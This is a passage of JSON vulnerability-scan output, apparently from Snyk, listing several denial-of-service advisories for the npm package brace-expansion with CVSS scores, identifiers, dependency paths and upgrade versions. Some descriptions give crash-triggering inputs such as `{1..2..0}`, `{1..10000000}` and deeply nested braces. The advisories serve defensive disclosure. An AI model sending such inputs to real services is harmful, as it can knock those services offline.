"cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmorg@8.0.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": 